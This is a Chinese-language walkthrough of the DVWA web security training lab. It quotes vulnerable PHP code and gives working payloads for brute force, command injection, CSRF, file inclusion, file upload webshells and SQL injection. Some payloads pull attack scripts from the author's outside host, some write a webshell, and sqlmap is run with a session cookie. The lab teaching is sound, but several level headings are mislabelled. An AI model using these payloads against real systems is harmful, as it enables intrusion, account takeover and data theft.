DVWA 靶场通关

DVWA是一个入门的Web安全学习靶场,集成了常见的Web漏洞如sql注入,xss密码破解等常见漏洞。可以参考互联网,搭建靶场,在这里就不详细说了。

Brute Force 暴力破解

Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。

Low

源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

分析暴露的问题

  1. GET登录不够安全,一般使用POST方式进行登录
  2. 对参数username、password没有做任何过滤,存在SQL注入

那我们就用万能密码给这道题注入吧。

万能密码

?username=admin'--+&password=111&Login=Login#

Impossible

中等等级的暴力破解和低等级的相同,只是低等级的暴力破解可以进行sql注入,而中等级的把其中的字符串给过滤掉了。

那我们就用Burpsuite进行爆破

使用Burpsuite抓到包,右键send to intruder

intruderpositions选择中,先点击clear$清除所有的变量。

然后分别给usernamepassword这两个字段后面的内容添加add$

并将attack type的值设置为cluster bomb
payloads选择中分别给payload 1payload 2设置字典路径。

然后点击上方的start attack

需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。

如上,开始枚举破解。
通过length的长度判决即可。

通过上面的破解,我们发现length的长度存在不一样,大的为破解成功的账号和密码

Hight

源码

// 检测用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 过滤用户名和密码
$user = $checkToken_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// 数据匹配
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
  登录成功
}
else {
  sleep( rand( 0, 3 ) );
  登录失败
}

这里增加了 token 的检测,从如下代码:

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

Token 的值来源于 index.php,访问 index.php 查看源码信息,找到如下 token 的位置:

require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

追踪 dvwaPage.inc.php 找到 token 相关函数的定义:

function checkToken( $user_token, $session_token, $returnURL ) {  # 校验 token
    if( $user_token !== $session_token || !isset( $session_token ) ) {
        dvwaMessagePush( 'CSRF token is incorrect' );
        dvwaRedirect( $returnURL );
    }
}

function generateSessionToken() {  # 当前时间的 md5 值作为 token
    if( isset( $_SESSION[ 'session_token' ] ) ) {
        destroySessionToken();
    }
    $_SESSION[ 'session_token' ] = md5( uniqid() );
}

function destroySessionToken() {  # 销毁 token
    unset( $_SESSION[ 'session_token' ] );
}

function tokenField() {  # 将 token 输出到 input 框中
    return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}

然后截取的数据包如下:

我们依然可以用BurpSuite进行爆破

将抓到的包发送到intrude,选择攻击模式为pitchfock,并且给要破解的项带上美元符号

首先得在options找到redirection勾选 Always重定向才可以:

然后到往下翻,找到 Grep - Extract添加一个 Grep 查询筛选

接着在Options里面将线程调整为1,因为这种灵活的爆破方法不支持多线程

还是在payloads选择中分别给payload 1payload 2设置字典路径,第三项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。

最终的爆破效果如下:

Impossible

下面来看一下Impossible 级别的代码:

// 检验 token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 过滤 username 和 password
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // 失败登录次数 3 锁定时间单位 15 账户锁定
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // 验证用户名和密码
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // 检查用户是否已被锁定.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {

        // 登录失败超过 3 次 15 分钟再尝试
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // 检查是否已经过了足够的时间,是否没有锁定帐户
        if( $timenow > $timeout )
            $account_locked = true;
    }

    // 检验用户名和密码
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // 如果登录有效
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // 获取用户头像、登录测试、和最近登录
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // 输出登录成功信息
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // 自上次登录后帐户是否已被锁定?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // 重置登录失败次数
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    else {
        // 登录失败随机延时并输出返回信息
        sleep( rand( 2, 4 ) );
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // 更新登录失败数
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // 设置最后的登录时间
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();

这里登录方式从 GET 方式转变成了 POST 方式了,不仅和 high 级别那样需要验证 token,而且还设置的登录失败的次数,如果登录失败超过 3 次,那么账户被锁定,只有 15 分钟可以再进行尝试。

Command Injection 命令注入

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

Low

源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

我们先选输入一个ip地址,发现是对ip地址的ping功能

解决乱码问题

解决此问题的方法:在DVWA-master/dvwa/includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可。

分析暴露的问题

Low 级别这里直接将 target 变量给带入到 shell_exec 命令执行的函数里面了,这样是及其危险的,可以使用使用如下命令连接符号来拼接自己的命令

漏洞利用

127.0.0.1&&ipconfig

Impossible

直接看关键部分源码吧:

// Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

漏洞利用

127.0.0.1&ipconfig

Hight

直接看关键部分源码:

$substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

这次我们发现感字符都被过滤了,但仔细观察到| (注意这里|后有一个空格)替换为空字符,所以这里我们不使用空格的话依然可以绕过。

127.0.0.1|ipconfig

Impossible

我们来看Impossible的代码来学习一下安全的过滤方式:

 $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

Impossible的这种过滤方式是采用了白名单的过滤方式,相比于之前黑名单的过滤方式更加安全了

CSRF 跨站请求伪造

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

Low

源码简单分析:

$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
 
if( $pass_new == $pass_conf ):
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" .     dvwaCurrentUser() . "';";

源码中可以是 GET 方式获取密码,两次输入密码一致的话,然后直接带入带数据中修改密码。这种属于最基础的 GET 型 CSRF,只需要攻击者让用户访问如下网址,我们的密码就会修改,我们可以伪造这条链接,发送给受害者,受害者点击链接密码就不知不觉中修改了。

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#

配和 XSS和CSRF成功率很高,攻击更加隐蔽

<html>
<head>
    <meta charset="utf-8">
    <title>CSRF</title>
</head>
<body>
<script src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#"></script>
</body>
</html>

受害人访问http://127.0.0.1/xss.html这个页面,密码就会被修改。

src属性拥有跨域的能力,只要标签支持 src 的话 都可以尝试一下 xss 与 csrf 结合

也可以生成短网址链接,点击短链接,会自动跳转到真实网站:

Impossible

中等级别的代码增加了 referer 判断:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作

我们可以构造一个html页面表单

<html>
<head>
    <meta charset="utf-8">
    <title>CSRF</title>
</head>
<body>
 
<form method="get" id="csrf" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/">
    <input type="hidden" name="password_new" value="111">
    <input type="hidden" name="password_conf" value="111">
    <input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

该表单是通过JavaScript自动触发提交id为csrf的表单,是一个很实用的技巧。

1.目录混淆

将上面的html页面放在服务器的127.0.0.1目录下,然后让用户访问自动触发提交

https://chenchang.top/127.0.0.1/csrf.html?127.0.0.1

2.文件名混淆

将上面的html页面重新命名为127.0.0.1.html

https://chenchang.top/127.0.0.1.html

3.拼接混淆

http://chenchang.top/csrf.html?127.0.0.1

因为?后默认当作参数传递。这里因为htm页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点也来绕过 referer 的检测。

Hight

简单分析源码

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

事实上就增加了一个token检测,要利用受害者的cookie去修改密码的页面获取关键的token。

这一关思路是使用 XSS 来获取用户的 token ,然后将 token 放到 CSRF 的请求中。因为 HTML 无法跨域,这里我们尽量使用原生的 JS 发起 HTTP 请求才可以。下面是配合 DVWA DOM XSS High 来解题的。

  1. JS 发起 HTTP CSRF 请求

首先新建csrf.js

// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1/dvwa/vulnerabilities/csrf/';

if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
          // 使用正则提取 token
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        var token = match[1];
          // 发起 CSRF 请求 将 token 带入
        var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';
        if(count==0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }
    }
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

将这个 csrf.js 上传到外网的服务器上,这里我临时放在我的网站根目录下:

http://chenchang.top/csrf.js

然后此时访问 DVWA DOM XSS 的 High 级别,直接发起 XSS 测试

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://chenchang.top/csrf.js"></script>
  1. 常规思路 HTML 发起 CSRF 请求

假设攻击者这里可以将 HTML 保存上传到 CORS 的跨域白名单下的话,那么这里也可以通过 HTML 这种组合式的 CSRF 攻击。

<script>
  function attack(){
    var token = document.getElementById("get_token").contentWindow.document.getElementsByName('user_token')[0].value
    document.getElementsByName('user_token')[0].value=token;
    alert(token);
    document.getElementById("csrf").submit();
  }
</script>

<iframe src="http://127.0.0.1:8888/vulnerabilities/csrf/" id="get_token" style="display:none;">
</iframe>

<body onload="attack()">
  <form method="GET" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/">
    <input type="hidden" name="password_new" value="111">
    <input type="hidden" name="password_conf" value="111">
    <input type="hidden" name="user_token" value="">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>

将上述文件保存为 csrf.html 然后放入到 CORS 白名单目录下,这在实战中比较少见,这里为了演示效果,我这里将这个文件放入到靶场服务器的根目录下,然后直接访问这个页面即可发起 CSRF 攻击:

http://127.0.0.1/dvwa/csrf.html

Impossible

下面来看一下 Impossible 的防护方式:

# 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

# 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

# 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );

这里相对于 High 级别主要就是增加了输入当前密码的选项,这个在实战中还是一种比较主流的防护方式,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的,另外常见的防护方法还有加验证码来防护。

File Inclusion 文件包含

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

Low

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

page 参数没有任何过滤,,造成文件包含漏洞的产生。

我提前在D盘放了一个叫password.txt的文件

  1. 文件读取
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=d:\password.txt

  1. 远程文件包含
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=https://www.baidu.com/robots.txt
  1. 本地文件包含 Getshell

新建一个 info.txt 内容如下:

<?php phpinfo();?>

这里我借助文件上传模块来上传 txt:

然后尝试直接包含这个 txt 文件:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/info.txt

  1. 远程文件包含 Getshell

一般来说可以包含远程文件了,我们常用来进行远程文件包含来 getshell,和上面一样 我们将 info.txt 上传到外网的服务器上,我临时上传到我的网站根目录下:

https://chenchang.top/info.txt

然后尝试直接进行远程文件包含:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=https://chenchang.top/info.txt
  1. 伪协议
  • php://filter 文件读取
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php

此时会拿到 base64 加密的字符串,解密的话就可以拿到 index.php 的源码

  • php://input getshell

POST 内容可以直接写 shell ,内容如下:

<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>')?>

然后会在当前目录下写入一个木马,直接访问看看:

  • data:// 伪协议

数据封装器,和 php:// 相似,可以直接执行任意 PHP 代码:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b

Impossible

看下本关的过滤级别:

$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

代码明显是过滤了 ..,这样的过滤是没用的。应该是写错了,正确的过滤方式应该是这样

$file = str_replace( array( "../", "..\\ ), "", $file );

代码增加了str_replace函数,对page参数进行了一定的处理,将http://, https://,../, ..\“替换为空字符,但是对相对路劲的限制没多大。

  1. 远程文件包含

因为过滤了 http://https://,所以这里可以使用常规套路,就是嵌套双写绕过

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hhttps://ttps:/chenchang.top/info.txt

str_replace 函数处理之后就变成了如下情况:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=https:/chenchang.top/info.txt

又因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=HTTPS:/chenchang.top/info.txt
  1. 本地文件包含

因为过滤 ../..\,也是使用的是 str_replace 替换为空,所以依然可以尝试双写嵌套绕过:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././password.txt

str_replace 函数处理之后就变成了如下情况:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../password.txt

同样如果这里知道绝对路径的话,直接包含绝对路径也是OK的:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=d:\password.txt

Hight

High 级别的过滤规则如下:

$file = $_GET[ 'page' ];

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    echo "ERROR: File not found!";
    exit;
}

代码里面要求 page 参数的开头必须是 file,否则直接就 exit 退出。

这里刚好可以使用 file:// 协议来进行文件读取了:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://d:\password.txt

Impossible

我们再来看一下Impossible的代码过滤规则:

$file = $_GET[ 'page' ];

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    echo "ERROR: File not found!";
    exit;
}

我们看到这里又采用了白名单的过滤方式

File Upload 文件上传

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

Low

源码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

我们可以看到,没有做任何的过滤措施,上传什么文件都可以,并且输出了路径信息。

上传一个 phpinfo.php 内容如下:

<?php phpinfo();?>

然后我们直接访问路径

127.0.0.1/dvwa/vulnerabilities/upload/../../hackable/uploads/phpinfo.php

最后实际上访问的是如下 URL:

http://127.0.0.1/dvwa/hackable/uploads/phpinfo.php

Impossible

Medium 级别的防护代码如下:

// 获取文件名、文件类型、以及文件大小
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// 文件类型 image/jpeg 或者 image/png 且 文件大小小于 100000
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
   ( $uploaded_size < 100000 ) ) {

这里只进行了 Content-Type 类型校验,我们正常上传 php 文件,然后直接将其 文件类型修改为 image/png:

即可正常上传

Hight

High 级别的关键代码如下:

// h获取文件名、文件后缀、文件大小
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// 文件后缀是否是  jpg jpeg png 且文件大小 小于 100000
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
   ( $uploaded_size < 100000 ) &&

   // 使用 getimagesize 函数进行图片检测
   getimagesize( $uploaded_tmp ) ) {
      上传图片
      }

getimagesize 函数会检测文件是否是图片,所以这里我们得通过制作图马来绕过这个函数检测。

创建1.php并在里面写木马 准备2.jpg

  • Linux 下 图马制作
# 将1.php内容追加到2.jpg
cat 1.php >> 2.jpg

# png + php 合成 png 图马
cat 1.php 2.jpg >> 3.jpg
  • Windows 下 图马制作
copy 2.jpg/b+1.php/a 3.jpg

图马制作完成之后我们就已经可以绕过 getimagesize 函数的检测了,接下来主要是绕过对后缀的检测。这里暂时无法绕过检测,目前只能借助文件包含或者命令执行漏洞来进一步 Getshell 下面演示命令注入漏洞

首先正常上传我们的图马:

然后在命令注入模块中,执行下面命令

127.0.0.1|copy D:\phpstudy_pro\WWW\DVWA\hackable\uploads\3.jpg D:\phpstudy_pro\WWW\DVWA\hackable\uploads\3.php

成功将图片转变为php

Impossible

直接来看代码:

# 时间戳的 md5 值作为文件名
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

# 检测文件后缀、Content-Type类型 以及 getimagesize 函数检测
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

  // 删除元数据 重新生成图像
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

文件名随机这里就无法使用截断、重写图片的话,使用图马就也无法绕过。

SQL Injection SQL 注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

Low

$id = $_REQUEST[ 'id' ]
# 没有过滤就直接带入 SQL 语句中 使用单引号闭合
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
while( $row = mysqli_fetch_assoc( $result ) ) {
        // 回显信息
        $first = $row["first_name"];
        $last  = $row["last_name"];
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。

  1. 判断sql是否存在存入,以及注入的类型
1' and '1'='1

  1. 猜解SQL查询语句中的字段数
1' order by 2#

1' order by 3#

从上面两个图可以说明,SQL语句查询的表的字段数是2

  1. 确定显示的位置(SQL语句查询之后的回显位置)
1' union select 1,2# 

  1. 查询当前的数据库,以及版本
1' union select version(),database()#

  1. 获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

如果出现了如下问题

请参考下面文章解决

https://www.cnblogs.com/happyleo/p/14271247.html
  1. 获取表中的字段名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  1. 获得字段中的数据
1' union select user,password from users#

Impossible

和 Low 级别不一样的代码主要区别如下:

$id = $_POST[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入

可以看到从 GET 型注入变成了 POST 型注入,而且闭合方式不一样,从单引号变成直接拼接到 SQL 语句了。

不让用户输入,我们可以通过burpsuit抓包,修改数据包,绕过防御

  1. 判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入
id=1 and 1=1&Submit=Submit

  1. 猜解sql查询语句中的字段的个数,下图说明字段的个数为2
id=1 order by 2#&Submit=Submit

id=1 order by 3#&Submit=Submit

  1. 确定回显的位置,下图可以说明有2个回显位置
id=1 union select 1,2#&Submit=Submit

  1. 获取当前数据库的名称以及版本
id=1 union select database(),version()#&Submit=Submit

  1. 获取数据库中的所有表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&Submit=Submit

  1. 获取表中的所有字段名

考虑到单引号被转义,可以利用 16 进制进行绕过

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

  1. 获取字段中的数据
id=1 union select user,password from users#&Submit=Submit

Hight

主要代码如下:

$id = $_SESSION[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

对参数没有做防御,在sql查询语句中限制了查询条数

从 SESSION 获取 id 值,使用单引号拼接。因为 SESSION 获取值的特点,这里不能直接在当前页面注入,

input 的输入框内容如下:

1 union select user,password from users#

我们还是可以通过burpsuit抓包,修改数据包实现绕过,这里我就不演示了......

Impossible

这个级别的主要防护代码如下:

// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
  // 预编译
  $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  $data->bindParam( ':id', $id, PDO::PARAM_INT );
  $data->execute();
  $row = $data->fetch();

CSRF、检测 id 是否是数字

prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

SQL Injection (Blind) SQL 盲注

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,只有会回答是或者不是,我们只能慢慢缩小范围然后

Low

主要区别在这里:

if( $num > 0 ) {
  // 查询到结果 只输出如下信息
  $html .= '<pre>User ID exists in the database.</pre>';
}

手工注入的方法和一般注入的方法一样,我们下面来尝试一下使用 sqlmap工具 进行注入

sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --dbs

提示302跳转到了登录页面,因为 DVWA 是有登录机制的,所以这里手动指定 –cookie 来进行会话认证,在burp抓到的包里面,我们复制security=low; PHPSESSID=ebab42egj14s9hhibs2qjctelq放到sqlmap即可。

最终的命令为:

sqlmap -u "http://192.168.101.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=ebab42egj14s9hhibs2qjctelq; security=low" --dbs

这里我们看到爆出了数据库,可以进行下一步操作

